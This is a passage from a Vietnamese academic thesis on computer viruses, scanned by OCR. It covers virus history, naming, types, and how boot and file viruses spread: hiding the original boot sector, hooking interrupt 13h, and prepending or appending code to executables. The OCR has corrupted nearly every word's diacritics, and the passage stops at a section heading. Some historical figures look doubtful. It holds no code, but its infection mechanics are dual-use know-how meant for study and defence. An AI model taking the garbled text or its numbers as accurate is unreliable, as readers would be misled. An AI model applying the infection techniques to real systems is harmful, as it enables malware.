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Mé dau
Virus tin hoc hién nay dang 1a ndi ban khoan lo ling ctia nhitng nguoi
lam c6ng tac tin hoc, 1a ndi lo so ctia nhitng nguai sir dung khi may tinh cua
minh bi nhidm virus. Khi may tinh ciia minh bi nhidm virus, ho chi biét trong
chd vao cac phan mém diét virus hién co trén thi truong, trong truong hop céc
phan mém nay khéng phét hién hoic khéng tiéu diét dugc, ho bi 1am phai tinh

hudng rat khé khin, khong biét phai lam nhu thé nao.

Vi ly do do, c6 mdt cach nhin nhéan co ban vé h¢ thong, co ché va céac
nguyén tac hoat dong cua virus tin hoc la can thiét. Trén co s& do, c6 mot cach
nhin ding dan ve virus tin hoc trong viéc phong chong, kiém tra, chira tri cling

nhu cach phan tich, nghién ctru mot virus mai xuat hién.

Ung v6i mdi hé diéu hanh déu c6 nhiing loai virus hoat dong riéng trén
né nhu tmg véi hé diéu hanh DOS ta c6 virus DOS, tmg véi h¢ diéu hanh
Windows ta c6 virus Windows. Va s phat trién cta tin hoc gin lién voi né 1a
su phat trién cua virus tin hoc mdi khi c6 mot phﬁn mém, mot chuong trinh,
mot hé diéu hanh méi xuét hién thi virus méi cling xuét hién theo va kéo theo
dé la chuong trinh diét virus. Vi vay viéc nghién ctru, nhan dang va phat hién
virus dé tir d6 c6 bién phap thich hop dé ngin chin va phong trir virus dat két

qua cao nhat.
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Tién, cac giao vién bd mon khoa cong nghé thong tin, Pai hoc Dan Lap Hai
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Chwong 1. TONG QUAN VE VIRUS MAY TiNH

Dé phat hién va diét duogc virus tin hoc thi trudc hét phai hiéu & ban chat
ctia chiing. V& nguyén tic chung, cong viéc diét virus tin hoc da phan 13 1am
nguoc lai nhitng gi ma virus da lam. Vi vay, chuong nay tap trung nghién ctru
nhing ndi dung lién quan dén co ché hoat dong cua virus dé 1am rd ban chat

ctia virus tin hoc. Tir d6 c6 thé xay dung chuong trinh tim va diét virus.

1.1. GIOI THIEU VE VIRUS MAY TiNH
1.1.1. Virus may tinh va cac tinh chét
1.1.1.1. Khdai niém

Virus may tinh noi chung 1a mot chuong trinh may tinh dugc thiét ké
dudi dang mot tro choi kham, hodc mot su pha hoai ngém, 6 thé tu lay lan
bang cach gin vao cac chuong trinh khac va tién hanh céac thao tac vo ich, vo
nghia, d6i khi 1a thao tac pha hoai. Khi mot virus nhiém vao dia, né tu 1ay lan
bang cach gin vao cac chuong trinh khac trong hé thong, ké ca phan mém hé
théng. Gidng nhu virus & ngudi, tac hai ctia virus may tinh ¢ thé chua phat
hién dugc trong thoi gian vai ngay hay vai tuan. Trong thoi gian d6 moi dia (c6
thé ghi) dra vao hé may tinh déu mang theo mét ban sao an cta virus dé - cac

dia nay déu bi nhiém virus.

Khi virus phat tac, chung gay ra nhiéu hau qua: tir nhimg thong bao bay
ba dén nhitng tac dong lam I¢ch lac kha nang thuc hién cua phén mém hé

théng, hodc x6a sach moi thong tin trén dia cing.

1.1.1.2. Cdc tinh chit

Tinh lay lan: day 1a tinh chat quan trong nhét d6i véi tt ca cac loai virus.
Kha ning l4y lan thé hién sttc manh cta virus. Pay 1 diém phan biét virus véi
mot s6 chuong trinh “x4u” khac cling c6 kha nang pha hoai dir liéu va may tinh

nhung khong tu 13y lan duoc.

Tinh an: tinh chat nay lam cho virus tranh dugc sy phat hién cua cac
chuong trinh anti-virus va tang toc dg lay nhiém, dam bao sy ton tai ctia no.
Virus c6 thé giam t6i da kich thuéc cia minh bang cach t6i uu hod ma 1énh cua

nd hodc sir dung mot so gidi thudt ty nén va gidi nén. Tuy nhién, di€u nay ciing



c6 nghia 1a virus phai giam d6 phuc tap ctia no, dé dang cho céc 14p trinh vién

phan tich ma 1énh.

Tinh ph4 hoai: tinh chat nay c6 thé khong c6 & mot s6 loai virus vi don
gian chiing chi duoc viét ra dé “thu gian” hodc kiém nghiém kha ning lay lan

ma théi. Tuy nhién, nhiéu loai virus c6 kha ning pha hoai rat cao.

1.1.1.3. Lich s phat trién ciia virus mdy tinh

Virus may tinh c6 mot qua trinh phat trién kha dai, n6 ludn song hanh
cung nhing chiéc may tinh. Khi ma cong nghé phan mém ciing nhu phan cimg
phat trién thi virus may tinh ciing phat trién theo. Hé diéu hanh thay doi thi
virus may tinh ciing tu thay d6i minh dé phu hop v6i hé diéu hanh dé.

Co nhiéu tai li¢u khac nhau n6i vé xuat xir cua virus may tinh [1,2,3.,4].
Tuy nhién, da so6 céc tai liéu no1 vé xuat X cua virus may tinh déu lién quan

dén su kién tro choi1 Core War.

1983 — Nguyén ly cua tro choi Core War

Core War 1a mot cudc dau tri gitra hai doan chuong trinh may tinh do hai
1ap trinh vién viét ra. Mdi d4u th s& dwa mot chuong trinh c6 kha nang ty tai
tao goi 1a Orgnaism vao bo nhd may tinh. Khi bat dau cudc choi, mdi dau thi
s& ¢b ging ph4 hity Organism cua d6i phuong va tai tao Organism cua minh.

Pau thi thang cudc 1a dau thi ty nhan ban dugc nhiéu nhat.

Trd choi Core War duoc giit kin dén nim 1983, Ken Thompson nguoi da
viét phién ban dau tién cho hé diéu hanh UNIX, d3 dé 1 ra khi nhan mot trong
nhiing giai thudng danh du cia gidi dién todn- giai thudng A.M Turing. Trong
bai dién vin ctia minh ong di dwa ra mot ¥ twdong vé virus may tinh dwa trén tro
choi core war. Cling nam 1983, tién sy Frederik Cohen d4 ching minh duoc su

ton tai cua virus may tinh.

Thang 5 nam 1984 t& bao Scientific America c6 dang mo ta vé “core
war” va cung cap cho ddc gia nhung thong tin huéng dan vé tro choi nay, ké tir
do6 virus may tinh xuat hién va di kem theo no 1a cudc chién gitta nhiing viét ra

virus va nhiing nguoi diét virus.



1986 — Virus Brain

C6 thé coi day 1a virus mdy tinh dau tién trén thé gidi, Brain bi mat thim
nhép tir Pakistan vao nuéc My vo1 muc tiéu dau tién 1a truong dai hoc
Delaware. Mot noi khéc trén thé gid1 cling da mo ta su xuét hién cua virus, d6

la truong dai hoc Hebrew — Israel.

1987 — Virus Lehigh

Lehigh la tén ctia virus xuét hién nam 1987 tai truong dai hoc cung tén.
Trong thoi gian nay ciing c6 mdt sé virus khac xuat hién, dic biét la WORM
virus (sdu virus), con 4c mong véi cac hé thong may chu xuat hién. Virus
Jerusalem da gay thiét hai cho cong ty IBM véi toc d6 1ay lan dang né: 500000

nhan ban trong 1 gio.

1988 — Virus lay lan trén mang
Ngay 2/11/1988, Robert Morris dua virus vao mang may tinh quan trong
nhit cia My, gay thiét hai 16n. Ttr d6 tré di ngudi ta bat dau thdy duoc tinh

nguy hai ctia virus may tinh.

1989 — Virus AIDS Trojan

Xuat hién Trojan hay con goi 1a “con ngya thanh To — roa ”, ching khong
phai 1a virus may tinh, nhung ludén di cung véi khai niém virus. Nhitng con
Trojan nay khi di gan vao may tinh thi n6 s& 1y cap mot sb thong tin trén do
va gui dén mot dia chi ma chu cua cha ngua nay mudn van chuyén dén, hodc
don gidn chi 1a pha huy di li¢u trén may tinh do.
1991 — Virus Tequila

Pay 13 loai virus dau tién ma thé giéi chuyén mén goi 14 virus da hinh.
Pay thuc su 13 loai virus gdy dau dau cho nhitng nguoi diét virus va qua that
khong dé dang gi dé diét chung. Chung c6 kha ning ty thay ddi hinh dang sau
mdi lan lay nhiém, 1am cho viéc phat hién ra chiing rat kho khan.
1992- Virus Michelangelo

Tiép ndi sy ra doi cta virus da hinh ndm 1991, trong nam, 1992 strc manh
cho cac loai virus may tinh ting nhanh chéng mat, nhimg ngudi viét virus da

tao ra sy da hinh cuc phuc tap cho moi virus.



1995 — Virus Concept
Sau gan 10 nam ké tir ngay virus may tinh dau tién xuét hién, day 1a loai
virus du tién c6 nguyén ly hoat dong gan nhu thay doi hoan toan so véi virus

trudc day.

Sau nay nhitng virus theo nguyén ly ctua virus Concept dugc goi chung la
macro, chung tan cong vao cac h¢ soan thao van ban cua Microsoft (Word,

Excel, Powerpoint) .

1996 — Virus Boza
Khi hiing Microsoft chuyén sang hé diéu hanh Window95 va ho cho ring
virus khong thé tin cong duoc, thi nam 1996 xuét hién virus Boza lay nhiém

duoc trén hé diéu hanh Windows.

1999 — Virus Melissa, Bubbleboy

Mot budc phat trién méi cua virus, sau Mellisa khong nhitng két hop cac
tinh nang cta sau Internet va virus marco ma n6 con khai thac dugc mot cong
cu thuong str dung hang ngay l1a Microsoft Outlook Express. Khi m§t mdy tinh
bi nhiém sau Mellisa, n6 sé& tu phat tdn minh di ma chi nhan may tinh khong hé

hay biét.

Trong bdn ngay, siu Mellisa da 1ay nhiém 250 ngan may tinh trén thé
gidi thong qua Internet, trong d6 c6 Viét Nam, gay thiét hai hang tram triéu
USD. Sau Mellisa di chimg minh Internet 1a mot phuong tién hiru hiéu dé virus

may tinh c6 thé l4y lan trén toan cau trong vai tiéng dong hd.

Nam 1999, ngoai sau Mellisa, virus Chernobyl hay con goi la CIH da pha
huy dit liéu ctia hang triéu may tinh trén thé gidi, gay thiét hai gan 1 ty USD
vao ngay 26/4/1999.

Nam 2000 — Virus Dos, Love Letter

Co thé coi day 1a vu viéc virus pha hoai lon nhét tr trude téi nay, Love
Letter c6 xudt xtr tir Philippines do mét sinh vién nudc nay tao ra, chi trong
vong sau tiéng ddng ho di lay nhiém téi 20 nudc trén thé gidi trong d6 c6 Viét

Nam, 14y nhiém 55 triéu may tinh gay thiét hai 8,7 ty USD.



Con Dos (Denial of Service), nhitng virus nay phat tan di khip noi, nim
ving & nhitng noi né 1ay nhiém. Cudi cung chiing dong loat tin cong theo kiéu
tir chdi dich vu (Denial of Service — yéu cau lién tuc, tir nhiéu may tinh dong
thoi, lam cho cac may chi bi tin céng khong thé phuc vu duoc nita va dan dén
tir chdi cac yéu cau méi) vao cac hé thong may chu khi ngudi diéu hanh no ra
1€énh, hodc vao cung mot thoi diém dinh trude. Mot hé théng dién thoai cua Tay

Ban Nha 14 noi bi tin cong dau tién.

2001 — Virus Winux Windows/Linux, Nimda, Code Red

Winux Windows/Linux virus danh d4u nhitng virus c6 thé lay duoc trén

hé diéu hanh Linux.

Nimda, Code Red 12 nhitng virus tin cong cac d6i tugng ciia nd bang
nhiéu con duong khac nhau (tr may cha sang may cha hodc tir may chi sang
may tram...), cho dén thang 9/2002 ¢ Viét Nam van con nhiing co quan véi
mang may tinh ¢ hang trim mdy tinh van bi nhiém virus Nimda. Chting chi ra
mot xu huéng maéi cia cac loai virus may tinh la tat ca trong mot, trong mat

virus bao gom nhiéu virus.

2002 — Sy doi ctia hang loat loai virus méi

Thang 1/2002, virus lay nhiém nhiing file . SWF. Thang 3/2002 sau
SharpA (viét bang ngon ngit C# ra doi). Thang 5/2002 SQLSpider ra doi va
chung tan cong cac chuwong trinh dung SQL. Perrun 1ay nhiing file anh .JPEG.
Scalper tan cong cac FreeBSD/Apache Web server.

1.1.2. Tén cha virus may tinh

Tén ctia virus néi chung thuong duoc dit boi nha nghién ciru dau tién gip
virus 6. Van dé 1 nhidu nha nghién ciru c6 thé ciing gap nhiing virus méi
giong nhau nhung cach dat tén ctia mdi nguoi thi lai khac nhau.

Viée cac cong ty phan mém an ninh canh tranh nhau dé duoc 1a don vi
dAu tién dat tén cho mot loai virus méi da dan dén tinh trang pho bién hién nay,

virus thuong duoc goi bang nhiéu danh tinh khac nhau.



Bat dong vé tén va cach dit tén nhitng loai virus di tao ra nhimng diéu kho
hiéu trong linh vyc nay, tir 46 dan dén nhitng kho khan trong bién phap dbi pho
va gop phan giup cho virus d& dang phat tan. Day ciing 1a chi d& duogc dua ra
thdo luan tai hoi nghi toan cAu vé chéng virus (Virus Bulletin 2003) t6 chirc tai

Toronto-Canada cudi thang 9/2003.

Vao dau thap ky 1990 di c6 mot hé thong quy wdc cach dit tén do TO
chtre nghién ctru virus may tinh (CARO) dé xuat. Chinh thirc dugc dua ra nim
1991 va thinh thoang dugc bd sung thém vao, hé théng nay da dé ra nhimg
nguyén tic vé nhiing gi ¢ thé va khong thé sir dung trong viéc dit tén cho
virus, déng thoi thiét 1ap mot hé théng cac dac trung cua virus nhu mue do
nguy hiém, nén bi tac dong, ho hang cua né... Nick Fitzgerald, dai dién cua
CARO, khi phat biéu vé hé théng dit tén hién nay cho biét nhitng nguyén tic

cua ho van co hiéu luc.

Kiéu dat tén mang tinh k¥ thuét thi quan trong d6i véi cac chuyén gia
virus, ho c6 thé biét duoc con virus d6 thudc loai nao, phién ban th méy,. ..
thong qua tén goi cua virus. Nhitng diéu d6 lai khong qua trong véi hau hét
nhiing nguoi sit dung may tinh, nhitng ngudi thuong c6 xu hudng nhé tén virus
nhu: I Love You va Mellisa (nhé tén theo nhitng su kién) thay
vi VBS.LoveLetter.A va W97.Mellisa.A. Tom lai: bt dé)ng trong vi¢c dat tén
cho virus ctia nhitng nha nghién ciru hay cong ty phan mém an ninh mang tao
ra cho virus cung loai nhiéu tén khac nhau. Piéu d6 tao ra sy 1an 16n cho moi
ngudi nhung d6i v6i phan mém diét virus chi xem xét nhiing dic diém, dau
hiéu nhén biét cua virus ma khong hé quan tim dén tén cua chung trong viéc

diét virus.
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1.1.3. Phan loai virus may tinh

Mot cach tuong dbi, Virus tin hoc duoc chia ra thanh nam loai [1]:

Loai 1:Virus Boot (B-Virus)

Vi méi truong 1ay nhiém ciia chiing & trén Boot Record cia dia mém va
Master Boot Record hoac Boot Record cua dia cing, ving chira mdt doan ma
ding dé khoi dong may tinh. Virus loai nay duogc kich hoat mdi khi may tinh
khai dong tir mot dia tir bj nhiém chung. Khi duoc danh thie day thi chung s&
tién hanh thudng tra trong bd nhé, ling 18 chd co hoi 1ay lan sang cac dia khac

thong qua qua trinh truy nhap dia.

Loai 2: Virus File(F-Virus)

Thuong 1ay nhiém cac file kha thi .EXE, .COM, .DLL, .BIN, .SYS....
Loai virus nay hoat dong khi céc file kha thi bi nhiém virus dugc thi hanh va
ngay lap tirc chiing s& tim cach lay nhiém hodc tién hanh thudng tra trong bo

nhé va chd co hdi 1ay nhiém sang cic file kha thi khéc.

Loai 3: Virus Marco

Loai nay khac véi loai virus F-Virus truyén théng ¢ chd dbi twong lay
nhiém cua ching khong phai 1a chuong trinh kha thi ma 13 cac file vin ban,
bang tinh...ctia cic phan mém tng dung c6 trang bi ngén ngir marco phirc tap
tao ra nhu Microsoft Excel ndm trong bd phan mém Office ctia hang Microsoft.
Khi céc tap tin van ban (hodc cac tap tin Excel) nay dugc xur Iy bdi Microsoft
Word (hoac Microsoft Excel), Marco Virus s€ dugc kich hoat, tim cach lay lan

sang cac file Word, Excel khac.

Loai 4: Virus Trojan

Thuét ngit nay dua vao mét dién tich co, d6 1a cudc chién giita ngudi Hy
Lap va nguoi thanh To-roa. Thanh To-roa 1a mot thanh tri kién ¢, quan Hy
Lap khong sao c6 thé dot nhap vao dugc. Nguoi ta di nghi ra mot ké, gia vo
giang hoa, sau d6 ting thanh To-roa mdt con ngya gb khéng 16. Sau khi ngya
dugc dua vao trong thanh, dém xudng nhimng quan linh tir trong bung ngya

x6ng ra va danh chiém thanh tir bén trong
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Phuong phép trén cling chinh la cach ma cac Trojan may tinh ap dung.
Pau tién hacker bang cach nao d6 lira cho nan nhén st dung chwong trinh cta
minh. Khi chuong trinh nay chay thi vé bé ngoai ciing giéng nhu nhirmg
chuong trinh binh thuong. Tuy nhién, song song véi qua trinh d6, mot phan cua
Trojan s& bi mat cai 1én may nan nhan. Dén mot thoi diém dinh trudc nao d6
chuong trinh nady thyc hién viéc xo6a dir liéu, hay giri nhiing thong diép ma

hacker mudn léy dén mot dia chi di dinh trudce & trén mang.

Khac voi virus, Trojan 1a mot doan ma chuong trinh hoan toan khong cé
tinh chat 1ay lan. N6 chi ¢ thé dugc cai dit khi duoc kich hoat va 1ay nhiém
dugc sang mdy tinh khac khi c6 ngudi ¢d v giri di, con virus thi tu dong tim

ki€ém nan nhan dé lay lan.

Thong thuong cc phan mém c6 chira Trojan dugc phan phéi nhu 14 cac

phan mém tién ich, phan mém moi hap dan, nhim dé thu hat ngudi sir dung.

Bén canh cac Trojan an cdp thong tin truyén thong, mot s6 khai ni€ém mai

dugc dung dé dat tén cho cac trojan mang tinh chét riéng biét nhu sau:

BackDoor: La loai trojan (sau khi da cai dat vao may nan nhéan) sé ty mé
ra mot cong dich vu cho phép ké tan cong (hacker) co thé két néi tir xa toi may

nan nhan, tr d6 no6 s€ nhan Iénh va thuc hién 1énh ma ké tan cong dua ra.

Phan mém quang cdo bat hop phap - Adware va phan mém gian diép -
Spyware: Gay kho chiu cho ngudi ding khi chung c6 tinh thay d6i trang web
mic dinh (home page), cac trang tim kiém mic dinh (search page)..hay lién tuc
tu dong hién ra (pop up) cac trang web quang cdo khi ta dang duyét web.
Chung thuong bi mat xam nhap vao may cua ta khi ta vo tinh “ghé tham”
nhiing trang web c6 noi dung khong lanh manh, cic trang web bé khéa phan
mém. . .hoic di theo cac phan mém mién phi khong dang tin ciy, cac phian mém

bé khoa (crack, keygen).
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Loai 5: Sdu Internet (Internet Worm)

Sau Internet 1a mot budc tién dang ké cta virus. Sau Internet két hop ca
su phd hoai cua virus, sy bi mat cia Trojan va viéc lay lan nhanh chong qua
dudng mang Internet. Vi tbe d6 1ay lan nhanh chong chung da lam té liét hang

loat cac hé thong may chii, lam duong truyén trén mang qua tai.

Sau Internet thuong dugc tan phat bang cach tim cac dja chi trong so6 dia
chi (Address book) ctia may ma n6 dang lay nhiém, & d6 thuong 1a dia chi cta
ngudi than, khach hang. .. Tiép dén, né ty giri ban sao ctia n6 cho nhitng dia chi
ma nd tim thay, dia chi ngudi giri thudng 13 chi nhan cia may tinh d6. Biéu
nguy hiém 13 nhiing viéc nay dién ra ma nguoi str dung khong hé hay biét, chi
nhan dugc thong bao 14 di giri virus cho nguoi khac thi méi biét rang may tinh

cua minh bi nhi€m virus.

V61 cach hoan toan tuong ty trén nhitng may tinh nan nhan, sdu Internet
¢6 thé nhanh chéng lay lan trén toan cau theo cap s6 nhan, diéu do giai thich tai
sao chi trong vong vai tiéng dong hd ma sau Mellisa va sau Love Letter lai c6
thé 1y lan t6i hang chuc triéu may tinh trén toan cau. Cai tén sau Internet thé
hién viéc nhitng con sau c6 thé “bd” tir may tinh nay qua may tinh khac trén

cac canh cay Internet

Vi su lay lan nhanh va rdng 16n nhu vay, sau Internet thuong dugc ké
viét ra chiing cai thém nhiéu tinh ning dic biét, chiang han nhu chiing co thé
dinh cliing modt ngay gid va dong loat tir cac may tinh nan nhén tan cong vio
mot dia chi ndo do, rat khé dé chdng d& va khic phuc dugc hau qua cta nhimg
cudc tan cong nhu vay. Ngoai ra, nhitng con sau Internet con cé thé cho phép
chi nhén cua chung truy cap vao may tinh cua nan nhan va lam moi thtr nhu

ngdi trén may tinh dé6 mot cach hop phap.
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Khai niém Séu Internet con bao gdm cac virus 1y lan qua mang chia sé
ngang hang peer to peer, cac virus lay lan qua cac dich vu chatting va dac biét
|l cc virus khai thac cac 16 hong phan mém dé 1y lan. Cac phan mém (nhit 13
hé diéu hanh va cac dich vu trén d6) ludn chira dung nhimg 15i tiém tang (vi du:
181 tran bo dém...) ma khong phai ltc nio ciing c¢6 thé dé dang phat hién ra. Khi
mot 16 héng phan mém duge phat hién, khong 1au sau d6 s& xuit hién cac virus
c¢6 kha ning khai thac cac 16 hong nay dé 1ay nhiém 1én cc may tinh tir xa mot
cach 4m tham ma ngudi chu may tinh hoan toan khong hay biét. Tir cac may tinh
nay, Worm sé tiép tuc “bd” qua cac may tinh khac trén mang Internet v&i mot

cach thuc tuong tu.

Phan loai virus s€ cung cap cho ching ta mgt cach nhin nhan diung dan vé

virus may tinh, dé tir d6 xay dung phuong phéap hitu hiéu ngin chin ching.
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1.2. BOOT VIRUS

1.2.1. Phuwong phap lay lan
Sau quéa trinh POST (Power On Self Test — Tu kiém tra khi khdi dong)

sector dau tién trén dia khéi dong dugc doc vao bg nhd tai dia chi 0:07C00h,
mot tac vu kiém tra xem c6 phai 1a phin Boot hop 16 khong bang cach kiém tra
ma nhan dang 0AA55h tai cudi sector. Tuy nhién viéc kiém tra nay khong tranh
khoi so hd néu ai d6 thay doan mi Boot bang mét chuong trinh khac véi y db x4u.

Va day ciing chinh la cach lay lan cia mét B-Virus.

D061 véi dia mém, sector dau tién ludn 1a Boot sector, do d6 viéc lay lan

chi don gian 1a tién hanh thay thé sector nay bang ma cia virus.

Dbi voi dia cling c¢6 chia Partition, viéc 1ay lan lai phirc tap hon vi dau
tién Master Boot sector dugc doc vao, sau qua trinh kiém tra Partition hoat
dong, Boot sector tuong img mai duge doc vao. Chinh vi vay nguoi viét ra
virus c6 thé chon mot trong hai noi dé luu giit ma virus: Master Boot sector hay

Boot sector.

Ddi voi B-Virus duoc luu trit tai Master thi n6 ludn duoc nap vao b nhé
dau tién, cho du sau d6 hé diéu hanh nao duoc st dung va do d6 n6 c6 kha
nang lay lan rat rong. Tuy nhién van dé dt ra 1a nhitng con virus nay phai bao
toan Partition table vi mot xAm pham nho dén ving nay ciing dan dén nhimg

truc trac ve dia cung.

Déi v6i Boot sector thi co thuan loi hon trong viée st dung bang tham sb
ctia dia nam trong ving nay, doan ma lay lan cho dia mém ciing sé dugc dung
tuong tu cho dia cing.

Hai phuong phap trén déu da dugc cac B-Virus sir dung, tuy nhién hién

nay hau hét chang déu sir dung phwong phap 1ay vao Master Boot sector.
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Vén dé then chét ma loai virus ndy can giai quyét 1a Boot sector (Master
Boot sector) cii cua dia. Virus s€ thuc hién viéc thay thé mot Boot sector méi,
tuy nhién virus khong thé thuc hién duoc hét cong viée cho Boot sector (Master
Boot sector) cil vi trong sector nay c6 chira théng tin vé dia va thuc sy virus
khong thé biét mot cach dy du sector nay s& phai lam nhitng gi. Chinh 1y do
nay ma da sb cac B-Virus khong bo Boot sector cii ma virus giit Boot sector cil
vao mot vung nao do trén dia va sau khi tién hanh xong tac vu cai dit cua minh,
n6 s& doc va trao quyén diéu khién cho doan ma cia sector ndy (tuy nhién cé
mot s6 con virus da thuc hién d& ma cua minh 1én doan ma cua Boot sector cii
chi chira thong tin vé dia ma khong cét sector nay di). Moi viéc lai duoc Boot
sector cil tiép tuc thi hanh nhu binh thudng. Tuy nhién viéc Iya chon noi cét giir
Boot sector cling 1a mot diéu kho khin vi moi noi trén dia déu c6 thé bi stra doi:
FAT, Root Directory va nhét 1 ving Data. Dua vao cach giai quyét viéc cat
gidu Boot sector cii ndy B-Virus ¢ thé phan thanh hai loai 1a SB-Virus va DB-

Virus.

1.2.2. Phan loai Boot Virus

Viéc cit giir Boot sector duoc B-Virus giai quyét theo hai hudng:

Hudng thir nhat 1a virus cat Boot sector cii vao mot vi tri xac dinh trén

moi dia va chap nhan rai ro c6 thé bi mit sector nay do ghi de, du chd cat dau
nay c6 kha ning bi ghi d¢ thap nhat. Huéng giai quyét nay don gian va do dé
chuong trinh thuong khong 16n. Chi ding mét sector thay thé Boot sector cii va

do d6 loai nay dugc goi 1a SB-Virus (Single Boot Virus).

Hudng thir hai 1a virus c6 thé cat Boot sector nay vao mét vi tri an toan

trén dia tranh moi mat mat c6 thé xay ra. Vi kich thudc vung an toan c6 thé
dinh bat ky, nén virus thuong chi€ém trén nhi€u sector va dugc chia lam hai
phan: mot phan trén Boot sector va mQt phan trén vung an toan. Vi dac diém

nhu vay, loai virus nay dugc goi la DB-Virus (Double Boot sector).
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1/. SB-Virus
Do tinh chip nhian mat mat dit liéu nén chwong trinh ngin gon chi chiém
mot sector. Thong thuong SB-Virus chon nhitng no1 ma kha nang ghi de 1én la

it nhat dé cat Boot sector c.
D061 véi dia mém, cac noi thuong chon la:

- Nhimng sector cudi cting ctia Root Directory vi it khi ngudi dung khai

thac hét s6 entry ctia thu muc gbc.

- Nhiing sector cuoi cung cua dia vi khi phan phéi lién cung cho mot tap
tin nao do, DOS bat dau tim lién cung trong tir dau vung dit li¢u can cur vao

entry cia no trén FAT.

Dbi voi dia cting thi don gian hon vi trén hau hét cac dia track 0 chi chua
Master Boot record trén mot sector, con lai cac sector khac trén track nay la bo
tréng khong dung dén. Do d6, cac SB-Virus va hau hét cac DB-Virus déu chon

nhitng sector trong trén track nay lam noi an nau.

2/. DB-Virus

- Dbi v6i da s cac virus thi kich thude 512 byte (théng thudng kich
thude cua moét sector 1a 512 bytes) khong phai 1a qué rdng rai. Do dé ho da giai
quyét bang cach thay thé Boot sector cii bang Boot sector gia. Boot sector gia
nay lam nhiém vu tai tiép phﬁn ma virus con lai trén dia vao bd nhd rdi trao
quyén diéu khién. Sau khi cai dit xong phan nay méi tai Boot sector thit vao

bo nhd. Phan ma virus con lai ¢6 thé dugc nam ¢ mot trong nhitng noi :

- D6i v6i dia mém: qua mit DOS bang cach dung nhitng lién cung con
tréng. Nhiing entry twong tmg véi cac lién cung nay trén FAT s& bi danh dau 1a
hong dé cho DOS s& khong sir dung dén nita. Phuong phap thi hai wu diém
hon 1 vuot ra khoi tim kiém soét caa DOS b%lng cach tao thém mot track moi
tiép theo track cudi cting ma DOS c6 thé quéan 1y (diéu nay chi ap ding véi dia
mém). Tuy nhién phuong phap nay c6 nhuoc diém 1a c6 mot s6 loai 6 dia mém
khong c6 kha nang quan 1y, khi track méi duoc thém s& gay 16i khi virus tién hanh

lay lan. Do vay phuong phép thir nhat van dugc cac virus sir dung nhiéu hon.
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- Dbi voi dia clng: ma virus c6 thé duoc cat giit tai nhirg sector sau
Master Boot record hodc nhiing sector cudi cila Partition sau khi da giam kich
thudc cla Partition di hodc giai quyét trong ty nhu trén dia mém (st dung
nhig lién cung con tréng va danh dau nhing lién cung nay trong bang FAT 13

hong dé cho DOS khéng st dung nita) .
Noi chung ciu triic chwong trinh SB-Virus hay DB-Virus 1a nhu nhau.

1.2.3. Cau tric chwong trinh B-Virus

Do dic diém chi dugc trao quyén diéu khién mot lan khi khoi dong may,
virus phai tim moi cach dé ton tai va duoc kich hoat lai khi can thiét, nghia la
n6 giéng nhu mot churong trinh “pop up” TSR (Terminate and Stay Resident —
Két thiic va thuong tr)). Do vay, chuong trinh virus duoc chia lam hai phan:

phan khoi tao va phan than.

Phin khdi tao

Pau tién virus tién hanh thuong trii bang cach ty chép minh vao ving nhé
cao. Sau do dé dam bao tinh “pop up” ctia minh né luén chiém ngat 13h. Ngoai
ra, dé phuc vu cho cong tac pha hoai, gay nhidu. . .virus con c6 thé chiém cac
ngit 8, 9....Sau khi dd khoi tao xong, Boot sector cii duoc tra lai dung vi tri va

trao quyén dieu khién.
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Phan thén
La phan quan trong cua virus, chira cac doan md ma phan 16n s& thay thé

cho cac ngit ma n6 chiém. C6 thé chia phan nay thanh bén phan.

+ Phan lay lan: |a phan chinh cua than virus, thay thé cho ngit 13h, c6 tac

dung 13y lan bang cach tu sao chép minh véo bét ky dia ndo chwa bi nhiém.

+ Phan gay nhidu va nguy trang: khi ban chat virus duoc khao sat mot
cach tuwong tan thi viée phat hién va diét virus khong con 13 van dé phire tap.
Vigce gay nhiéu tao nhiéu khé khan cho nguoi chéng virus trong viéc tim, di¢t
virus va phuc héi dir liéu. Viéc nguy trang 1am cho virus c6 vé bé ngoai nhu

binh thudng dé ngudi diét virus va str dung may tinh khong phat hién ra ching.

+ Phan pha hoai: khong nhat thiét phai c6. Tuy nhién da s cac virus déu
c¢6 phan nay, hién thi chi gdy truc chic nhd, tréu choc nguoi ding. . .con 4c thi
pha hity dir liéu may tinh. Virus c6 thé pha hoai mot cach ngau nhién hodc
dugc dinh thoi.Déi véi loai virus duoc dinh thoi, virus s& kiem tra mot gia tri
(c6 thé virus xac dinh ngay, gid, thang, nam, s6 1an 1ay, sb gio may da chay...).

Khi gia tri nay bang hodc vuot qua ngudng cho phép né sé& tién hanh phé hoai.

+ Phan dit liéu: dé cét giit thong tin trung gian, nhitng bién ndi tai dung

riéng cho virus va Boot sector cil.
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1.3. VIRUS FILE
1.3.1. Phuwong phap lay lan

Virus file truyén théng noéi chung chi tién hanh 14y lan trén nhiing file thi
hanh duoc (thudng 13 file .com hoic 1a file .exe). Khi tién hanh lay lan F-Virus
truyén théng cling phai tuan theo nguyén tic: quyén diéu khién phai nam trong
tay virus truée khi virus tra né lai cho file bi nhiém (tuy nhién ciing c6 mot s it
virus lai ndm quyén diéu khién sau mét s6 1énh nao d6 cua file bi nhiém). Tht

ca dit liéu cua file phai dugc bao toan sau khi quyén diéu khién thudc vé file.
Cho dén nay F-Virus c6 mét sé phuong phap lay lan co ban sau:

1/. Chén dau

Thong thudng, phuong phéap nay chi ap dung ddi voi cac file dang .COM
nghia la chuong trinh luén & PSP:100h. Loi dung diém nay, virus s€ chen doan
mi clia n vao dau file bi lay va day toan bo file nay xudng phia dudi ngay sau
no.

Uu diém: m virus dé viét vi co dang file .COM. Mit khéc, s& gay kho
khan cho nguoi diét trong van dé khéi phuc file vi phai doc toan bo file bi
nhiém vao bo nhé rdi tién hanh ghi lai.

Nhuoc diém: trude khi tra quyén diéu khién lai cho file phai dam bao dau
vao 12 PSP:100h, do d6 phai chuyén toan bo chuong trinh 1én dia chi nay.

2/. Nbi dudi

Phuong phéap nay duoc thiy trén hau hét cac loai F-Virus vi pham vi lay
lan cua no6 rong hon phuong phép trén. Theo nhu tén ciia phuong phap nay ma
virus s& duogc gin vao ngay sau file bi 1ay. Va do mi cia virus khong nam dung
dau vao chuong trinh cho nén né sé& dinh vi lai file bi 1y bang cach thay doi
mot s6 dit lidu cua file sao cho dau vao chi ding vao ma cia né.

Uu diém: lay lan trén moi loai file kha thi, thuong la file .COM, .EXE,
BIN, .OVL... mit khac, su thay doi dit liéu trén file bi 1y 12 khong dang ké va
viéc doat quyén diéu khién khong may khé khan.

Nhuoc diém: dé dang cho ngudi diét trong viée khoi phuc dit liéu va kho
dinh vi ma virus khi 1y nhiém vao file vi kich thudc file bi lay 1a bt ky.
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3/. Pé viing trong

